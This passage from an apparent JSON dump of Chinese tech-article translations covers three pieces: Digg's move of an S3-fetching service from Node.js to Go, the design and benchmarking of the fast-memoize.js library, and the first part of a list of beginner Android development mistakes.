年四月我入职的时候，Digg 的运行栈主要是 Python，除了两个服务等着用 Node 来写入。当被分派去给一个经常出问题的服务填坑时，我甚至感觉无比激动。\n\n我们问题重重的 Node 服务器承担着相当直接的使命。Digg 使用亚马逊的 S3 的云存储服务，S3 很出色但是不支持批量 GET 操作。为了不将所有的负荷都加到我们的 Python 服务器上，不让 Python 服务器每次都从 S3 请求超过 100 个 key，我们决定利用 Node 简单的异步代码模式和大并发处理来完成。于是 S3 的内容获取服务 Octo 诞生了。\n\nNode Octo 除了偶尔的掉链子之外性能都很好。某天它需要处理一个网络峰值，每分钟的请求数量从 50 跃升至 200+，与此同时每个请求中 Octo 基本都要从 S3 获取大概 10-100 个 key，也就是说它可能每分钟有 20,000 次 S3 的 GET 请求。日志表明，网络峰值的时候服务器的性能会大大下降，但是问题在于它并不总是能恢复。就这样，每隔一周在 Octo 卡住并且失灵后，我们也卡在恢复 EC2 实例当中。\n\n服务器请求有着严格的超时时间，接收到请求后的几毫秒时刻内，Octo 应该将从 S3 成功获取的信息返回给客户端并继续工作。然而，即使设置超时时间为最大值 1200 毫秒，Octo 在最坏的情况下还是会出现请求处理时间达到 10 秒之久。\n\nOcto 的代码非常的不同步并且我们获取 S3 的 key 和 value 的方式非常激进，并且它还和两个中型的 EC2 实例交叉运行，后来我们增加到四个。\n\n我将代码重写过三次，每次都更深层次地挖掘 Node 的优化、填坑并在性能上锱铢必较。我查看了流行的 Node 网站服务器框架的性能评估，比如 Express 和 Hapi，并和 Node 内置的 HTTP 模块做了比较。我移除了所有第三方的模块，尽管它们很好用但是会拖慢代码的执行，结果三次都遭遇了相同的问题。无论我多努力，我还是不能使得 Octo 走上正轨，也不能减少请求峰值时性能的下降。\n\n最终一个理念浮现出来，我必须要从 Node 的 event loop 工作入手。如果你不了解 event loop，请查看 [Node Source](http://t.umblr.com/redirect?z=https%3A%2F%2Fnodesource.com%2Fblog%2Funderstanding-the-nodejs-event-loop%2F&t=MWZlZjIwMDE0N2NjMTQzYTU5ZDgzYjBhYTM3ZWYwODQ3OWIwNDFlOSx2SE41TFFrZg%3D%3D)：\n\n> Node 的 “event loop” 是处理高传送率方案的核心。那里充满了神迹和天马行空，也正是因为它才使得 Node 虽然是单线程却还能够允许后台处理任意数量的操作。\n\n![image](http://ac-Myg6wSTV.clouddn.com/188c024ccb691dbf3a08.png)\n\n**并没有多么神奇的 Event Loop 阻塞（X轴：时间/毫秒）**\n\n你能看到在我们对服务进行弹性恢复之后原本丢失的性能又回来了。\n\n即使发现了 event loop 阻塞是罪魁祸首，那也只是说明了在一开始的时候性能滞后的原因。\n\n大多数的开发人员都听过 Node 的非阻塞 I/O 模型，那非常棒因为它意味着所有的请求在异步处理的时候不会造成执行阻塞，也不会产生任何多余开销（像线程和进程）并且作为开发人员你能很幸福地不用管后台发生的事。然而，你要牢记 Node 是单线程的，那意味着没有并行执行的代码。I/O 或许不会阻塞服务器，但是你的代码会啊。如果我在代码中调用休眠 5 秒钟，那么服务器在这段时间将不会有任何响应。\n\n![image](http://ac-Myg6wSTV.clouddn.com/279f90490044dceae89e.png)\n\n**形象化的 Event Loop：[StrongLoop](http://t.umblr.com/redirect?z=https%3A%2F%2Fstrongloop.com%2Fstrongblog%2Fnode-js-performance-event-loop-monitoring%2F&t=NTJhNDYxN2I2YzkzYmYwYThiZDkyZGNhODFjYjM3MDQwNmVkNWVjNyx2SE41TFFrZg%3D%3D)**\n\n那么非阻塞代码呢？当处理请求的时候，事件被触发，消息和各自的回调函数一同进入队列。想了解更加深入，请查看对此有着独到见解的 [Carbon Five 的博文](http://t.umblr.com/redirect?z=http%3A%2F%2Fblog.carbonfive.com%2F2013%2F10%2F27%2Fthe-javascript-event-loop-explained%2F&t=MTA5NWNlODA3NDJjMTM3YTQwMmIwZWM2ZThkMzI2YTk5NzBjZmJmYyx2SE41TFFrZg%3D%3D)：\n\n> 在一个循环中，队列轮询下一个消息（每个轮询被称为一个“tick”），当遇到一个消息时，执行该消息的回调函数。这个回调函数的调用作为调用堆栈中的初始帧，并且因为 JavaScript 是单线程的，堆栈中所有调用的返回之前会停止进一步的消息轮询。并发的（同步的）函数调用会在堆栈中增加新的调用帧……\n\n如果我们的 Node 服务只是需要返回触手可得的数据，那它处理接收的请求绰绰有余。但是相反，它一直等待着许多嵌套的回调函数，这完全依赖于 S3 的响应（而这有时会超级慢）。请求超时之后，事件和与其相关的回调函数会被置于超载消息队列中。然而，超时事件可能在 1 秒的时候发生，只有等当前队列的消息和其回调函数都执行完（这可能需要几秒钟）该事件的回调函数才会被处理。我能想象请求峰值时堆栈的状态，但事实上，我并不需要想象，只需一点点 CPU 的运行切面就能展示给我们相当生动的状态图像。对以上的长篇累牍我表示抱歉。\n\n![image](http://ac-Myg6wSTV.clouddn.com/43280c3b75d49c7558b0.png)\n\n**失败情况下的火焰图**\n\n先对火焰图做一个简单的介绍，y 轴代表堆栈中的帧的数量，每个函数是其下面的函数的子函数。x 轴代表样本的数量和持续时间。盒子的宽度表示在 CPU 上处理的时间，越宽就表示这个函数执行越慢或者它被调用地越频繁。现在你能从堆栈的深度看到 Octo 在巨大的峰值时的火焰图。想了解更多切面的信息和火焰图请点击[这里](http://t.umblr.com/redirect?z=http%3A%2F%2Fwww.brendangregg.com%2FFlameGraphs%2Fcpuflamegraphs.html&t=YTE0MDdhMDEwN2RhYjhmM2E1ZTA3ZDIyOGY3MWE3ZTA2MzVkNmIyMCx2SE41TFFrZg%3D%3D)。\n\n看到这些我醍醐灌顶，也许 Node.js 并不合适处理这项任务。CTO 和我促膝而谈，我们当然不想每隔一周就对 Octo 进行一次弹性恢复并且我们都对一项互联网上[非常有前景的案例研究](http://t.umblr.com/redirect?z=http%3A%2F%2Fmarcio.io%2F2015%2F07%2Fhandling-1-million-requests-per-minute-with-golang%2F&t=ZTlmMjRlZjVmZmM4NjMxYTEyNGM0NDQ4ZDkxMjE5ODQ1NTFhODM3YSx2SE41TFFrZg%3D%3D)感兴趣。\n\n如果这个标题没有足够悬念的话[原标题是：使用 Golang 每分钟处理百万请求。译者注]，其主题是创建服务向 S3 发送 PUT 请求（有人遇到过同样的问题么？）。这已经不是第一次我们谈论要使用 Golang 了，而现在我们有了一个绝佳的测试对象。\n\n我速成了 Golang 的课程，两周之后，我们搭建并运行了一个新 Octo 服务。我严格按照 [Malwarebyte’s](http://t.umblr.com/redirect?z=https%3A%2F%2Fwww.malwarebytes.org%2F&t=ZDgzZjY3ZTIzMzI0ZGZhZmExNGZhNDNlZjZkODA3ZDM4YmMxYTFmZCx2SE41TFFrZg%3D%3D) 的 Golang 文章中描述的那样搭建了一个激动人心的解决方案。该服务有一个工作池（worker pool）和一个托管（delegator），托管会将接收的工作分派给空闲的工作区（worker）。每一个工作区在自己的协程（goroutine）上工作，并且一旦任务完成它们将返回工作池，简单高效。立竿见影的结果好到让人惊讶地合不拢嘴。\n\n![image](http://ac-Myg6wSTV.clouddn.com/64aafd0bd86b8597ec6c.png)\n\n**良好的不温不火的状态**\n\n我们的服务平均响应时间几乎缩减了一半，我们的超时设置（S3 响应太慢，所以会有超时）也能够按部就班，并且网络峰值也只对服务造成了微小的影响而已。\n\n![image](http://ac-Myg6wSTV.clouddn.com/325e8b4df6f127e0a630.png)\n\n**蓝色的是 Node.js Octo | 绿色的是 Golang Octo**\n\n用 Golang 升级之后，我们很容易地就能每分钟处理 200 个请求，每天处理 150 万个 S3 内容获取。我们一开始运行在 Octo 上的那四台负载均衡实例怎样了？我们现在又所缩减到了两个。\n\n自从过渡到 Golang 我们还没回顾过这段经历。尽管我们主要的堆栈工作是用的 Python（很有可能会一直是这样），但是我们也已经开始模块化处理我们的基础代码并在系统中用微服务去处理特殊的内容。除了 Octo，我们现在生产环境中还有另外 3 台 Golang 服务，它们给我们提供实时的消息系统并且为我们的内容提供重要的元数据。我们对这些最新版本的 Golang 代码库感到骄傲，[DiggBot](http://t.umblr.com/redirect?z=http%3A%2F%2Fdigg.com%2Fdiggbot&t=ZjViNWY1YTAyMDQzMjA1ODNmODlhOGZiY2Y4NWY2MTVmMzdkODQ0Yyx2SE41TFFrZg%3D%3D)。\n\n我并不是为了说明 Golang 是解决我们疑难杂症的灵丹妙药。我们再三考虑了我们每项服务的需求，作为一个公司，我们努力地站在新技术的前沿并且会反躬自省，我们能做得更好吗？这将是一个持续进步的过程，我们将会再三调研并认真计划。\n\n我可以很自豪地说，我们的 Octo 服务已经非常成功地运行了几个月（修复了一些 bug 除外），结局皆大欢喜，Digg 将继续前行。\n\n![image](http://ac-Myg6wSTV.clouddn.com/406585559a3d18e43467.png)\n\n[](http://t.umblr.com/redirect?z=https%3A%2F%2Fgithub.com%2Fgengo%2Fgoship&t=ZjlkNmY2NjYzZGE1OWY5ZjY3MDc3ODUwNWEzNDkxYTgzNTc1OTYwZix2SE41TFFrZg%3D%3D)_[https://github.com/gengo/goship](http://t.umblr.com/redirect?z=https%3A%2F%2Fgithub.com%2Fgengo%2Fgoship&t=ZjlkNmY2NjYzZGE1OWY5ZjY3MDc3ODUwNWEzNDkxYTgzNTc1OTYwZix2SE41TFFrZg%3D%3D)_\n"
  },
  {
    "path": "TODO/the-worlds-fastest-javascript-memoization-library.md",
    "content": "> * 原文地址：[How I wrote the world's fastest JavaScript memoization library](https://community.risingstack.com/the-worlds-fastest-javascript-memoization-library/)\n> * 原文作者：[Caio Gondim](https://community.risingstack.com/author/caio/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[薛定谔的猫](https://github.com/Aladdin-ADD)\n> * 校对者：[GangsterHyj](https://github.com/GangsterHyj)，[sunui](https://github.com/sunui)\n\n# 我是如何实现世界上最快的 JavaScript 记忆化的 #\n\n\n**在本文中，我将详细介绍如何实现 [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js)，它是世界上最快的 JavaScript 记忆化（memoization）实现，每秒能进行 50,000,000 次操作。**\n我们会详细讨论实现的步骤和决策，并且给出代码实现和性能测试作为证明。\n\n**fast-memoize.js** 是开源项目，欢迎大家给我留言和建议。\n\n不久前，我尝试了 V8 中一些[即将发布的特性](http://www.2ality.com/2015/06/tail-call-optimization.html)，以斐波那契算法为基础做了一些基准测试实验。\n实验之一就是比较斐波那契算法的记忆化版本和普通实现，结果表明记忆化版本有着巨大的性能优势。\n\n意识到这一点，我又翻阅了不同的记忆化库的实现，并比较了它们的性能（因为……呃，为什么不呢？）。记忆化算法本身非常简单，然而我震惊地发现不同实现之间性能差异巨大。\n\n这是什么原因呢？\n\n![常见 JavaScript 记忆化库的性能](https://blog-assets.risingstack.com/2017/01/performance-of-popular-javascript-memoization-libraries.png)\n\n在翻阅 [lodash](https://github.com/lodash/lodash/blob/master/memoize.js#L50) 和 [underscore](https://github.com/jashkenas/underscore/blob/master/underscore.js#L810) 的源码时，我发现默认情况下，它们只能记忆化接受一个参数的函数。于是我就很好奇，能否实现一个足够快并且可以接受多个参数的版本呢？**（或许可以开发出 npm 包给全世界的开发者使用呢？）**\n\n下文中，我将详细介绍实现它的步骤，以及实现过程中所做的决策。\n\n## 理解问题 ##\n\n引自[ Haskell 语言 wiki](https://wiki.haskell.org/Memoization)\n> 『记忆化是保存函数执行结果，而不是每次重新计算的一种技术。』\n\n**换句话说，记忆化就是对于函数的缓存。** 它只适用于确定性算法，对于相同的输入总是生成相同的输出。\n\n为了便于理解和测试，我们把这个问题拆分成几个小问题。\n\n### 分解 JavaScript 记忆化问题 ###\n\n我将这个算法分解为 3 个小问题：\n\n1. **缓存**：保存上一次计算结果。\n2. **序列化**：输入为参数，输出一个字符串用于表示相应的输入。可以将它视作参数的唯一标识。\n3. **策略**：将缓存和序列化组合起来，输出记忆化函数。\n\n现在我们就要分别以不同的方式实现这 3 个部分，测试它们的性能，选择其中最快的方式，最后将它们结合起来就是我们最终的算法了。\n这样做的目标就是让计算机为我们解除重担！\n\n### #1 - 缓存 ###\n\n如前文所述，缓存保存了之前的计算结果。\n\n#### 接口 ####\n\n为了抽象实现细节，我们需要创建一个类似于 [Map](http://ecma-international.org/ecma-262/7.0/#sec-properties-of-the-map-prototype-object) 的接口：\n\n- has(key)\n- get(key)\n- set(key, value)\n- delete(key)\n\n通过（定义接口）这种方式，只要我们实现了这个接口，就可以修改缓存内部的实现，而不影响外部使用。\n\n#### 实现 ####\n\n每次执行记忆化函数，我们需要做的就是：检查对应输入的输出是否已经被计算过。\n\n因此最合理的数据结构是哈希表。它能够在 O(1) 时间复杂度检查某个值是否存在。 从底层看，一个 JavaScript 对象就是一个哈希表（[或类似的结构](https://simplenotions.wordpress.com/2011/07/05/javascript-hashtable/)），所以我们可以将输入作为哈希表的 key，将输出作为它的 value。\n\n```js\n    // Keys 代表斐波那契函数的输入\n    // Values 代表函数执行结果\n    const cache = {\n      5: 5,\n      6: 8,\n      7: 13\n    }\n```\n\n为实现缓存，我分别尝试了：\n\n1. 普通对象\n2. 无原型对象（避免原型属性查找）\n3. [lru-cache](https://www.npmjs.com/package/lru-cache)\n4. [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)\n\n以下是这些实现的性能测试。本地运行，请执行命令 `npm run benchmark:cache`。不同版本实现的源码可以在[项目的 GitHub 页面](https://github.com/caiogondim/fast-memoize.js/tree/master/benchmark/cache)找到。\n\n![Variable JavaScript memoization cache](https://blog-assets.risingstack.com/2017/01/variable-javascript-memoization-cache.png)\n\n#### 还需要一个序列化器 ####\n\n在参数是非字面量时，这个版本会有问题，因为转化为字符串时并不唯一。\n\n```js\n    functionfoo(arg) { returnString(arg) }\n\n    foo({a: 1}) // => '[object Object]'\n    foo({b: 'lorem'}) // => '[object Object]'\n```\n\n这就是为什么我们还需要一个序列化器，用它来生成参数的**指纹**（唯一标识，译者注）。它的速度越快越好。\n\n### #2 - 序列化器 ###\n\n序列化器基于给定的输入输出一个字符串。它必须是一个确定性算法，意味着对相同的输入，总是给出相同的输出。\n\n序列化器生成的字符串用作缓存的key，代表记忆化函数的输入。\n\n`JSON.stringify` 是实现它性能最佳的方式，比其它方式的都好 -- 这也很容易理解，因为 `JSON.stringify` 是原生的。\n我尝试使用 bound `JSON.stringify`（`bar = foo.bind(null)`，此时 `bar.name` 为 `bound foo`，译者注），希望通过减少一次变量查找来提高性能，但很遗憾没有效果。\n\n想在本地执行，可以执行命令 `npm run benchmark:serializer`，实现的具体代码可以在[项目的 GitHub 页面](https://github.com/caiogondim/fast-memoize.js/tree/master/benchmark/serializer)找到。\n\n![变量序列化器](https://blog-assets.risingstack.com/2017/01/variable-serializer.png)\n\n还剩最后一个部分：**策略**。\n\n### #3 - 策略 ###\n \n策略使用了**序列化器**和**缓存**，将两者结合起来。对 [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js) 来说，策略是我花时间最多的部分。即使非常简单的算法，每一个版本迭代都有一些性能提升。\n以下是我先后尝试的方式：\n\n1. 普通方式 (初始版本)\n2. 针对单个参数优化\n3. 参数推断\n4. 偏函数\n\n我们来逐个介绍它们。我会以尽量简化的代码，来介绍每种方式背后的想法。如果某些细节我没有解释清楚，你想要深入探究一下，可以在[项目的 GitHub 页面](https://github.com/caiogondim/fast-memoize.js/tree/master/benchmark/strategy)中找到每个版本的代码。\n\n本地运行，请执行命令 `npm run benchmark:strategy`。\n\n#### 普通方式 ####\n\n这是我第一次尝试，也是最简单的版本。步骤是：\n\n1. 序列化参数\n2. 检查给定输入的输出是否已经计算过\n3. 如果 `true`，从缓存中读取结果\n4. 如果 `false`，计算，并且将结果保存到缓存中\n\n![Variable strategy](https://blog-assets.risingstack.com/2017/01/variable-strategy.png)\n\n使用第一个版本，我们可以达到**每秒 650,000 次操作**。这个版本是后面优化版本的基础。\n\n#### 针对单个参数优化 ####\n\n改善性能的一个有效方法是优化热路径（hot path，指执行频率最高的路径，译者注）。对我们的代码来说，热路径就是接受一个基本类型参数的函数，这种情况下我们不需要对参数序列化。\n\n1. 检查 `arguments.length === 1` && 参数为基本类型\n2. 如果`是`，无需序列化参数，因为基本类型本身就可以作为缓存的key\n3. 检查给定输入的输出是否已经计算过\n4. 如果 `true`，从缓存中读取结果\n5. 如果 `false`，计算，并且将结果保存到缓存中\n\n![针对单个参数优化](https://blog-assets.risingstack.com/2017/01/optimizing-for-single-argument.png)\n\n通过避免执行不必要的序列化操作，我们可以得到更快的执行结果（对热路径而言）。现在可以达到**每秒 5,500,000 次**了。\n\n#### 参数推断 ####\n\n`function.length` 返回一个已定义函数的形参个数，我们可以利用这个性质避免动态检查函数的实参个数（即避免 `arguments.length === 1` 的条件判断，译者注），并为单参数函数和非单参数函数分别提供不同的策略。\n\n```js\n    functionfoo(a, b) {\n      return a + b\n    }\n    foo.length // => 2\n```\n\n![参数推断](https://blog-assets.risingstack.com/2017/01/infer-arity.png)\n\n省去了这一次条件判断，我们（的实现）性能又有了一点提升，可以达到**每秒 6,000,000 次操作**。\n\n### 偏函数（Partial application） ###\n\n我觉得大多数时间都花费在了变量查找上（但没有量化数据支持），起初我也没有好的想法去改善。灵机一动，我突然想到可以使用 `bind` 方法，通过偏函数应用的方法将变量注入到函数中。\n\n```js\n    functionsum(a, b) {\n      return a + b\n    }\n    const sumBy2 = sum.bind(null, 2)\n    sumBy2(3) // => 5\n```\n\n这种方式可以将函数的某些参数固定下来。我用就它把**原函数**，**缓存**，和**序列化器**固定下来。就用它来试试吧！\n![偏函数](https://blog-assets.risingstack.com/2017/01/partial-application.png)\n\n哇！效果非常好。我不知道如何进一步改进，但我对这个版本的测试结果已经很满意了。这个版本可以达到**每秒 20,000,000 次操作**。\n\n## 最快的 JavaScript 记忆化组合 ##\n\n上面我们把记忆化分解为了 3 个部分。\n\n对每个部分，我们将其中 2 个部分固定，更换其余一个测试其性能。通过这种单变量测试，我们能更加确信每次改变的效果--由于 GC 造成的不确定性停顿，JS代码的性能并不完全确定。\n\nV8 会更根据函数的调用频率、代码结构等因素，做很多运行时优化。\n\n为了确保我们将这 3 部分组合起来时不会错过大量性能优化的机会，我们尝试所有可能的组合。\n一共 4 种策略 x 2 种序列化器 x 4 种缓存 = **32 种不同的组合**。本地运行，请执行命令 `npm run benchmark:combination`。下面是性能最好的 5 种组合：\n\n![fastest javascript memoize combinations](https://blog-assets.risingstack.com/2017/01/fastest-javascript-memoize-combinations.png)\n\n图例：\n\n1. **策略**: 偏函数, **缓存**: 普通对象, **序列化器**: json-stringify\n2. **策略**: 偏函数, **缓存**: 无原型对象, **序列化器**: json-stringify\n3. **策略**: 偏函数, **缓存**: 无原型对象, **序列化器**: json-stringify-binded\n4. **策略**: 偏函数, **缓存**: 普通对象, **序列化器**: json-stringify-binded\n5. **策略**: 偏函数, **缓存**: Map, **序列化器**: json-stringify\n\n事实证明我们上面的分析是对的。最快的组合是：\n\n- **策略**: 偏函数\n- **缓存**: 普通对象\n- **序列化器**: JSON.stringify\n\n## 与流行库的性能对比 ##\n\n有了上面的算法，是时候把它同最流行的库做一个性能上的比较了。本地运行，请执行命令 `npm run benchmark`。结果如下：\n![与流行库的性能对比](https://blog-assets.risingstack.com/2017/01/benchmarking-against-other-memoization-libraries.png)\n\n[fast-memoize.js](https://github.com/caiogondim/fast-memoize.js)是最快的，几乎是第二名的 3 倍，**每秒 27,000,000次操作**。\n\n### 面向未来 ###\n\nV8有一个很新的、未发布的优化编译器 [TurboFan](http://v8project.blogspot.com.br/2015/07/digging-into-turbofan-jit.html)。\n我们现在就应该用它测试一下，因为 TurboFan（极有可能）很快就会添加到 V8 中。通过给 Node.js 设置 flag `--turbo-fan` 就可以启用它。本地运行，请执行命令`npm run benchmark:turbo-fan`。以下是启用后的测试结果：\n\n![使用 TurboFan 的性能](https://blog-assets.risingstack.com/2017/01/performance-with-turbofan.png)\n\n性能几乎翻倍，现在达到接近**每秒 50,000,000 次**。\n\n看起来最新的 TurboFan 编译器可以极大的优化我们最终版本的 [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js)。\n\n## 结论 ##\n\n以上就是我创建这个世界上最快的记忆化库的过程。分别实现各个部分，组合它们，然后统计每种组合方案的性能数据，从中选择最优的方案。**(使用 [benchmark.js](https://benchmarkjs.com/) )。**\n希望这个过程对其他开发者有所帮助。\n\nfast-memoize.js 是目前最好的 #JavaScrip 库, 并且我会努力让它一直是最好的。\n\n**并非是因为我聪明绝顶, 而是我会一直维护它。** 欢迎给我提交 [Pull requests](https://github.com/caiogondim/fast-memoize.js/pulls)。\n\n正如前 V8 工程师 [Vyacheslav Egorov](https://www.youtube.com/watch?v=g0ek4vV7nEA&amp;t=22s) 所言，在虚拟机上测试算法性能非常棘手。如果你发现测试中的错误，请在 [GitHub](https://github.com/caiogondim/fast-memoize.js/issues) 上提交 issue。\n\n这个库也一样，如果你发现任何问题请提交 issue（如果带上错误用例我会很感激）。带有改进建议的 Pull Requests 我将感激不尽。\n\n如果你喜欢这个库，欢迎 [star](https://github.com/caiogondim/fast-memoize.js/stargazers)。这是对我们开源开发者的鼓励哦。\n\n#### 参考文献 ####\n\n- [JavaScript & Hashtable](https://simplenotions.wordpress.com/2011/07/05/javascript-hashtable/)\n- [Firing up ignition interpreter](http://v8project.blogspot.com.br/2016/08/firing-up-ignition-interpreter.html)\n- [Big-O cheat sheet](http://bigocheatsheet.com/)\n- [GOTO 2015 • Benchmarking JavaScript • Vyacheslav Egorov](https://www.youtube.com/watch?v=g0ek4vV7nEA&amp;t=22s)\n\n有任何问题，欢迎评论！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/things-i-wish-i-knew-before-i-wrote-my-first-android-app.md",
    "content": "> * 原文链接 : [6 Things I wish I Knew before I Wrote my first Android App](http://www.philosophicalhacker.com/2015/07/09/6-things-i-wish-i-knew-before-i-wrote-my-first-android-app/)\n* 原文作者 : [K. Matthew Dupree](https://infinum.co/the-capsized-eight/author/ivan-kust)\n* 译文出自 : [掘金翻译计划](http://www.philosophicalhacker.com/)\n* 译者 : [404neko](https://github.com/404neko)\n* 校对者: [Glowin](https://github.com/Glowin)、[achilleo](https://github.com/achilleo)\n* 状态 :  完成\n\n# 我希望在我写第一个安卓 APP 前知道的 6 件事情\n\n我的第一个 APP 是极其糟糕的. 实际上, 它已经糟糕到了让我把它从商店下架, 我甚至不愿费事儿再把它写进简历. 如果在我写它之前知道一些关于安卓开发的事情, 这个 APP 本来不会这样糟糕.\n\n这有一个你在开发你的第一个安卓 APP 时需要牢记的事情的列表. 我下面要说的这些经验教训都是从我的第一个安卓 APP 的源码里的真实的错误中得来的. 将这些(经验)铭记在心将会帮助你写一个你可以为之骄傲的 APP.\n\n当然, 如果你像一个学生一样进行你的开发工作, 无论如何你都有可能在不久之后讨厌你的 APP. 就像 @codestandards 说的,\n\n> 如果你一年前写的代码现在看起来还挺不错的, 你可能获得没有足够的长进(在这一年之间).\n> \n> — Code Standards (@codestandards) [2015年5月21日](https://twitter.com/codestandards/status/601373392059518976)\n\n如果你是一名经验丰富的 Java 开发者, 你可能不会对第 1, 2, 5 条感兴趣. 另一方面, 即便你绝对不会为因为犯了我在下面的条目里展示的错误而内疚, 第 3, 4 也会给你展示一些你可以在 Android Studio 中做的很酷而你之前不知道的事情, \n\n## 1\\.不要对 Contexts 做静态引用\n\n    public class MainActivity extends LocationManagingActivity implements ActionBar.OnNavigationListener,\n            GooglePlayServicesClient.ConnectionCallbacks,\n            GooglePlayServicesClient.OnConnectionFailedListener {\n\n        //...\n\n        private static MeTrackerStore mMeTrackerStore; \n\n        //...\n\n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n            //...\n\n            mMeTrackerStore = new MeTrackerStore(this);\n        }\n    }\n\n这可能看起来是一个谁也不可能犯的错误. 然而并不是. 我就犯过这样的错误. 我也看到过别人出这样的错误, 我也遇到过不能一下子指出为什么这(对 Contexts 的静态引用)是一个错误的人. 不要这么做. 这是一个极其愚蠢的行为.\n\n如果 MeTrackerStore 类一直持有 Activity 传递进它的构造函数的引用. 这个 Activity 将永远不会被垃圾回收. (除非这个静态的变量被分配给一个不同的 Activity.) 这是因为 mMeTrackerStore 是静态的, 在第一次运行应用的时候内存就会被分配给这个静态变量, 并且直到应用的进程退出这些资源才会被回收.\n\n如果你发现你愿意这么做, 那么你的代码可能存在一些严重的错误. 寻求帮助. 可以去看看在 Google 在 Udacity 的课程 [\"Android Development for Beginners\"](https://www.udacity.com/course/android-development-for-beginners--ud837).\n\n注意: 从技术的角度讲, 你可以持有一个 Application Context 的静态引用而不会引起内存泄漏, 但是我根本不会提倡你这样做的.\n\n## 2\\. 小心对你不能控制生命周期的对象的隐式引用\n\n    public class DefineGeofenceFragment extends Fragment {\n        public class GetLatAndLongAndUpdateMapCameraAsyncTask extends AsyncTask {\n\n            @Override\n            protected LatLng doInBackground(String... params) {\n                //...\n                try {\n                    //Here we make the http request for the place search suggestions\n                    httpResponse = httpClient.execute(httpPost);\n                    HttpEntity entity = httpResponse.getEntity();\n                    inputStream = entity.getContent();\n                    //..\n                }\n            }\n        }\n\n    }\n\n这段代码存在很多问题. 我将把重点放在其中的一个上.  在 Java 中, (非静态的) 内部类对包含它的类对象有一个隐式的引用.\n\n在这个例子中, 任何 GetLatAndLongAndUpdateMapCameraAsyncTask 对象都将有个DefineGeofenceFragment 对象的引用. 匿名类也是如此: 它会对包含它的类对象有个隐式的引用.\n\n这个 GetLatAndLongAndUpdateMapCameraAsyncTask 对象对 Fragment 对象有个隐式的引用, 一个我们无法控制它生命周期的对象. Android SDK 负责适当地创建和销毁 Fragment 对象, 如果因为 GetLatAndLongAndUpdateMapCameraAsyncTask 对象正在执行所以不能被回收的话, 那它隐式引用的对象也无法被回收.\n\n这有一个非常棒的Google IO 视频  [that explains why this sort of thing happens]\n(https://www.youtube.com/watch?v=_CruQY55HOk).\n\n## 3\\. 让 Android Studio 为你服务\n\n    public ViewPager getmViewPager() {\n        return mViewPager;\n    }\n\n这个片段是我在 Android Studio 用 \"Generate Getter\" 代码补全时生成的片段. 这个 \"getter\" 方法对这个实例变量保持了 \"m\" 前缀. 这不是理想的情况.\n\n(另外, 你一定想知道为什么实例变量声明的时候要带个 \"m\" 前缀: \"m\" 经常作为实例变量的前缀的约定. 它代表了成员(member).)\n\n不论你是否认为 \"m\" 前缀是不是一个好主意, 这有一点人生的经验: Android Studio 可以帮助你把代码转换成任何你想要的样子. 例如, 你可以在 Android Studio 的代码样式对话框设定里设定给你的实例变量自动加上 \"m\" 前缀并在生成 getters, setters 和构造函数参数的时候自动移除 \"m\".\n\n[![Screen Shot 2015-07-09 at 4.16.13 PM](http://i1.wp.com/www.philosophicalhacker.com/wp-content/uploads/2015/07/Screen-Shot-2015-07-09-at-4.16.13-PM.png?resize=620%2C432)](http://i1.wp.com/www.philosophicalhacker.com/wp-content/uploads/2015/07/Screen-Shot-2015-07-09-at-4.16.13-PM.png)\n\nAndroid Studio可以做很多事情. [学习快捷键](http://www.developerphil.com/android-studio-tips-of-the-day-roundup-1/)和[活动模版](https://www.jetbrains.com/idea/help/live-templates.html)是很好的入门.\n\n## 4\\. 每个方法应该只做一件事\n\n这有一个我写了超过100行的类方法. 这样的方法是难以阅读和修改甚至再利用的. 试着写只做一件事的方法. 通常来说, 这意味着超过 20 行的类都应该被怀疑. 说到这你可以用你的 Android Studio 帮助你定位有问题的方法:\n\n[![Screen Shot 2015-07-09 at 4.25.00 PM](http://i2.wp.com/www.philosophicalhacker.com/wp-content/uploads/2015/07/Screen-Shot-2015-07-09-at-4.25.00-PM.png?resize=620%2C435)](http://i2.wp.com/www.philosophicalhacker.com/wp-content/uploads/2015/07/Screen-Shot-2015-07-09-at-4.25.00-PM.png)\n\n## 5\\. 见贤思齐\n\n这个听起来是不重要的, 但是这是我写第一个 APP 时犯下的错误.\n\n 当你写一个 APP 的时候你也同时在犯错误. 其他人已经犯过这些错误了.  向这些人学习. 如果你反复犯这些他人犯过的本来可以避免的错误那就是在浪费时间. 我写第一个 APP 的时候我浪费了成吨的时间在那些如果我向其他开发者学习本可以避免的错误上.\n\n读读[Pragmatic Programmer](http://www.amazon.com/The-Pragmatic-Programmer-Journeyman-Master/dp/020161622X). 然后再读[Effective Java](http://www.amazon.com/Effective-Java-Edition-Joshua-Bloch/dp/0321356683). 这两本书会帮助你避免犯一些常见的错误. 当你读完这两本书后, 继续向聪明的人学习.\n\n## 6\\. 使用库\n\n当你写一个 APP 的时候. 你可能会遇到一些更智慧或者更有经验的人已经解决的问题. 此外, 大量的解决方案以开源库的方式存在. 好好利用他们.\n\n在我的第一个 APP 中, 我写的功能已经被其他库所提供了, 它们中的一些库来自于标准的 Java 中的一部分. 另一些则是像 Retrofit 和 Picasso 这样的库. 如果你不确定你要应该用什么库, 你应该做 3 件事:\n\n1. 收听 [Google IO Fragmented podcast episode](http://fragmentedpodcast.com/episodes/9/). 在这集中, 有一些要求开发了解的第三方 Android 库. \n剧透: 大部分都是 Dagger, Retrofit, Picasso, and Mockito.\n2. 订阅[to Android Weekly](http://androidweekly.net/). 这里有一个板块包含最新的 Android 库. 留心那些对你有用的库.\n3. 寻找解决类似问题的开源应用. 你可能发现它们用了第三方的库或者用了你并没有在意的标准Java库\n\n##总结\n\n写一个好的 Android APP 是非常难的. 